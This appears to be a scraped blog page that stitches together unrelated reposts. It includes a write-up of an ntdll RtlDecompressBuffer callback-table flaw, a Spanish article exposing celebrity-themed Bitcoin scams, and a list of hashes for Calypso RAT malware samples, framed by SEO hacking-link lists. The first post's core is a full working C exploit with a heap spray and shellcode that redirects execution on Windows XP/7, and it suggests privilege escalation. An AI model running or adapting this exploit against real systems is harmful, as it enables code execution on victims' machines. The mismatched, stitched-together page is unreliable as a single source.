PENGUMUMAN...!!!


SOLAT HAJAT DI TUNDA KE 24HB OGOS 2008 - UST SALLEH MAN

Tuesday, June 9, 2020

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:


int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4

if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder

*/

#include
#include
#include

#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]\n", map, map+1*MB);


printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);

return map;
}

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;

case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;


case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;

case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;

default:
printf("weird decompression state\n");
break;
}

printf("end.\n");
}

The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Related links

Monday, June 8, 2020

La Estafa De Las Inversiones En BitCoin Que Usa La Imagen De Dani Rovira, David Broncano Y Otras Personas Populares Con Gremlin Ads Y Fake News

Hace tiempo que se habló de esta estafa, pero recientemente han vuelto a invertir en campañas de anuncios en los principales medios de comunicación para engañar a más gente. La estafa es que hacen creer a las personas que algunos de los profesionales más populares y de mayor éxito han hecho una inversión en BitCoin y que les va de maravilla. Buscando dar confianza a las "víctimas" y atraerlos a su redil. Como el viejo timo de la estampita o el tocomocho.

Figura 1: La estafa de las inversiones en BitCoin que usa
la imagen de Dani Rovira, David Broncano y otras personas
populares con Gremlin Ads y Fake News


Si no conoces estos timos, todos se basan en lo mismo, en hacer creer al que va a ser estafado que es más listo que los demás, que los demás son tontos y no se dan cuenta, y que él puede aprovecharse porque es más listo. Pero al final, es él quien cae estafado. En este vídeo se explica muy bien.
Y por supuesto, ganar dinero con la especulación de BitCoin se ha convertido también en una de las luces que más atracción ha generado entre los ávidos de ser más listos que los demás. No, no me entendáis mal, el crecimiento del valor de BitCoin ha tenido momentos espectaculares, y también caídas brutales. Hay gente que ha convertido unos dólares en casa, pero también ha habido caídas brutales.

Pero lo peor y más complicado de esto es que hay muchos "BitCoin", hay muchas criptomonedas, hay muchos exchangers, hay mucho que saber para saber dónde metes tu dinero y, sobre todo, que no es evidente que lo puedas sacar cuando quieras,. No quiero que este artículo sea sobre todas las cosas que hay que tener en cuenta cuando se hace una inversión en criptomonedas - sea cual sea -,  pero sí expresar que el fraccionamiento de las criptomonedas - del propio BitCoin incluido - y los markets es muy alta, y que su utilización no es tan evidente.

Figura 3: BitCoin: La tecnología Blockchain y su investigación

Si quieres conocer más sobre BitCoin y la tecnología y funcionamiento que subyace, nuestros compañeros Felix Brezo y Yaiza Rubio hablan de todos sus detalles en el libro "BitCoin: La tecnología BlockChain y su Investigación", que te recomiendo que leas si te gusta el mundo de la ciberseguridad y te atrae BlockChain y BitCoin. Verás que no es tan fácil como pensabas al inicio.

La "estampita" en el BitCoin

Y ahora viene el tema. En el Timo de la Estampita o el Tocomocho, tenemos dos personajes fundamentales. El "Tonto" que es el que no sabe aprovechar el valor de lo que tiene delante - que puede ser un billete de lotería premiado, o una quiniela de fútbol premiada, o una herencia , o una inversión fantástica sin perdida en Bitcoins -, y el "Enterado" que es otro listo que como tú, sabe que la oportunidad es buena y la va a aprovechar, la ha aprovechado o te deja que la aproveches sacándote algo para el tonto.

En cualquier caso, al final, ni hay cupón premiado, ni hay billetes, ni hay quiniela premiada, ni hay herencia, ni hay ganancias aseguradas en la inversión en BitCoin que has hecho en "esa" plataforma por mil motivos distintos. 

Figura 4: Anuncios patrocinados para la campaña de la estafa


En estas campañas, yo me he encontrado el "gancho" en anuncios patrocinados de artículos de principales diarios nacionales, como este caso que, haciendo clic en el artículo patrocinado de "10 Hábitos de las personas con éxito financiero", lleva a la campaña de "malvertising".

Gremlin Ads

Por supuesto, no es una campaña que sea fácil de detectar para los proveedores de ads de estos medios digitales, ya que son "Gremlin Ads". Es decir, se activan solo puntualmente mediante redireciones y técnicas de cloaking del artículo enlazado de "10 Hábitos de las personas con éxito financiero". Es decir, algunos verán ese artículo, y algunos otros, puntualmente, verán alguno como este.

Figura 5: Llegamos a la Fake News con la imagen robada usada como "Enterado"

Como podéis ver, esta estafa lo tiene todo para adaptar las estafas tradicionales al mundo de Internet y usar todas las tecnologías. Usa sitios web de Phishing - en este caso como si fuera de El Mundo - cuando realmente ha salido visitando El País, para lo que han comprado dominios especiales. 

Después, aplica la campañas de Malvertising gastando dinero en Ads para hacer SEO, BlackSEO y SEM, y por último usa BitCoin como reclamo usando Fake News para suplantar la imagen de personas populares en la figura del "Enterao" del timo tradicional. Una maravilla de cibercrimen.

Figura 6: El testimonio de un cliente satisfecho

El texto de la noticia es divertidísimo. El gestor de la inversión te pide 222 € y te promete que no vas a perder ni un céntimo, y el testigo que hizo la prueba lo saco dejando de llevar a su familia a restaurantes de comida basura con lo que: "hemos mejorado la alimentación además de tener la oportunidad de enriquecernos". Genial.

Figura 7: La misma noticia con la imagen del El País y David Broncano

Las personas que se han visto afectadas, por que lógicamente todas estas informaciones son mentira, son muchas. Se ha utilizado ilegalmente la imagen de David Broncano, Dani Rovira, Luis Suárez, Karlos Arguiñano, Natalia Oreiro, etcétera, y las imágenes de muchos medios de prestigio, como El País o El Mundo.

Figura 8: La misma noticia con la imagen de Luis Suárez

Al final, basta con que escribas el titular en Google, y automáticamente la opción de autocompletar te saca los nombres de las personas que se han visto afectadas por estas campañas para engañar a personas con inversiones "fantásticas" y "maravillosas". 

Figura 9: Lista de personas que han sido utilizadas en esta estafa

 
Figura 10: Vídeo de webs para "Hackear Facebook en 1 minuto"

Os dejo los dos vídeos de los Hackers for Hire y de Cómo hackear Facebook con mi chiringuito para que si compartís este artículo con alguien que os haya hablado de estas inversiones fantásticas, pueda ver el resto de estafas.

Figura 11: Hackers for Hire "La estafa"

Y nada más, espero que os sea interesante esta información y que no caigáis ni vosotros ni ninguno de vuestros familiares y amigos, que cuando más les funcionan estas estafas, más estafas aparecen. Nosotros vamos a comenzar a reportar desde nuestro SOC de ElevenPaths las URLs de este tipo de campañas que detectemos a los motores de seguridad de nuestro servicio de Conexión Segura para evitar que lleguen a nuestros clientes el máximo posible.

Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)

Related posts


  1. Pentest Open Source
  2. Hacker Attack
  3. Hacking Quotes
  4. Pentest Keys
  5. Hacking
  6. Pentest +
  7. Hacking Tools
  8. Pentest Vs Ethical Hacking
  9. Hacking Process

APT Calypso RAT, Flying Dutchman Samples



Reference


 Attackers exploit Windows SMB vulnerability CVE-2017-0143 or use stolen credentials to gain access, deploy the custom Calypso RAT and use it to upload other tools such as Mimikatz, EternalBlue and EternalRomance. They move laterally and steal data.




Download

             Other malware




Hashes




MD5SHA256SHA1FilenameFile TyeeStage
aa1cf5791a60d56f7ae6da9bb1e7f01ed5afa3bfd423ba060207ad025467feaa56ac53d13616ac8782a7f63c9fc0fdb4bdd8b9115d1ae536d0ea1e62052485e5ad10761fMPSSVC.dllpe dllCalypso RAT Payload
1e765fed294a7ad082169819c95d2c85f6a09372156a8aef96576627a1ed9e57f194b008bb77e32ca29ac89505f933f060dda7ccd9ae00701046923b619a1b9c33c8e2acWscntfy.exepe exeCalypso RAT Dropper
17e05041730dcd0732e5b296db16d757b6c21c26aef75ad709f6c9cfa84bfa15b7ee709588382ce4bc3544a04bceb661f3301405d8ad5b160747241d6b2a8d88bf6292e8pe exeCalypso RAT Dropper
1ed72c14c4aab3b66e830e16ef90b37beebff21def49af4e85c26523af2ad659125a07a09db50ac06bd3746483c89f9ddc0d0a34f107d140d9e47582e17a7fec945403eacoal.exepe exeCalypso RAT Dropper
e24a62d9826869bc4817366800a8805cc407c3dde18c9b56ed24492ca257d77a570616074356b8c7854a080823f7ee1753791c9e7c41931a6becb999fee4eb7daf9b1a11data01.binpe dllCalypso RAT Dropper
c9c39045fa14e94618dd631044053824ab39301d45045172ad41c9a89210fdc6f0d3f9dccb567fd733b0dbffbfcfbcc31cda28bc307c09508dbb1f3495a967bbcc29326epe exeCalypso RAT Dropper
69322703b8ef9d490a20033684c28493e6a3b43acdaa824f3280095b10798ea341839f7d43f0460df8989f13c98fa6e0f203680d97705d99f92fe9797691be6177f5fd41RasCon.dllpe dllCalypso RAT Dropper
85ce60b365edf4beebbdd85cc971e84d5dfdee5dd680948d19ab4d16df534cf10aca5fa0b157c59659d6517fe897c62fd9c14f7b6de8e26ae33e41a72ae8e35bb1af4434pe exeCalypso RAT Dropper
6347e42f49a86aff2dea7c8bf455a52a281583aca23f8fd8745dd88a600cbfc578d819859a13957ec022b86c3c1c99f48b2a81af85590e0e36efc1c05aa4f0600ea21545HIDMgr.dllpe dllCalypso RAT Dropper
cb914fc73c67b325f948dd1bf97f57330031c7b63c1e1cd36d55f585d97e2b21a13a19858d5a1aa5455e5cc64b41e6e937ce4d0a3168e3b2f80b3fae38082e68a454aee0pe exeCalypso RAT Dropper
c84df4b2cd0d3e7729210f15112da7ac4e8351ddaff18f7df6fcc27a3c75598e0c56d3b406818d45effb4e78616092c241a0c5a1aad36f405c8755613c732591e3300f97mscorsvw.dllpe dllCalypso RAT Dropper
5199ef9d086c97732d97eddef56591ec511683c8ee62478c2b45be1f782ce678bbe03c4349a1778651414803010b3ee9d19a786adc09dff84642f2c2e0386193fa2a914bdnscache.dllpe dllFlyingDutchman
06c1d7bf234ce99bb14639c194b3b318a9a82099aa812d0c4025bee2b34f3b34c1d102773e36f1d50648815913dbe03d464ab9e11d371bf24de46c98c295d4afe7e957c1fromResource.exepedllFlyingDutchman
617d588eccd942f243ffa8cb13679d9c0664b09a86ec2df7dfe01a93e184a1fa23df66ea82cab39000944e418ec1f7b21b043fdcb582ed13cbf7dabcef6527762b5be93cpe dllHussar
2807236c2d905a0675878e530ed8b1f8314e438198f8cc2ee393c75f8e9f2ebd2b5133fd6f2b7deb1178f82782fc63302f6fe857632a67e87f4f3631bfa93713ccdf168aAeLookupMgr.dllpe dllCalypso RAT Payload
cce8c8ee42feaed68e9623185c3f7fe438cc404437b936660066b71cc87a28af1995248d6d4c471706eb1dd347129b4b9d2235c911b86bb6ad55d953a2f56ea78c5478e5AppCert.dll.crtCalypso RAT Payload
e1a578a069b1910a25c95e2d9450c710413622ded5d344a5a78de4fea22cfdabdeb4cdccf69e9a1f58f668096c32473836087a5b0809dc3f9dc5a77355a88e99af491a88RasCfgMan.dll.crtCalypso RAT Payload
0d532484193b8b098d7eb14319cefcd3f8043d6bfc3e63d8561f7f74e65cb7ff1731577ecf6c7559795d9de21298f0fc31f4c6dc6ce78b4e0439b30c830dfd5d9a3fc4feRasCfgMan.dllpe dllCalypso RAT Payload
974298eb7e2adfa019cae4d1a927ab070461710e681fd6dc9f1c83b57f94a88cd6df9e6432174cbfdd70dfd24577a0f841bc37679ce3caeecc176d10b4f8259918e25807VirtualUMP.dll.crtCalypso RAT Payload
05f472a9d926f4c8a0a372e1a71939988017923cd8169bf951106f053408b425f1eb310a9421685638ead55bb3823db38d909bd3450ebe0cffd0cb17b91bc28d23ef5083EFSProvider.dll.crtCalypso RAT Payload
d1a1166bec950c75b65fdc7361dcdc63f3f38c097b0cc5337b7d2dbec098bf6d0a3bb4a3e0336e7b1c8af75268a0a49d5731350f68a74fb4762c4ea878ecff635588a825RasCon.dllpe dll 64bits assemblyCalypso RAT Payload
e3e61f30f8a39cd7aa25149d0f8af5efc4dc7519bccc24c53794bf9178e4a4d0823875c34479d01cedbb3e9b10f5c7301b75ea494c3ac171c5177bdcc263b89a3f24f207MPSSVC.dllpe dllCalypso RAT Payload
More info

  1. Hacker Language
  2. Pentest Vpn
  3. Pentest Firewall
  4. Pentest Tools Framework
  5. Pentest Iso
  6. Hacker Software
  7. Pentest Practice Sites
  8. Pentestmonkey Sql Injection
  9. Pentest Devices
  10. Pentest Wordpress
  11. Hacking Simulator
  12. Pentest Free
  13. Pentest Open Source
  14. Pentestmonkey Cheat Sheet
  15. Hacking Bluetooth
  16. Hacking Meaning
  17. Hacking Box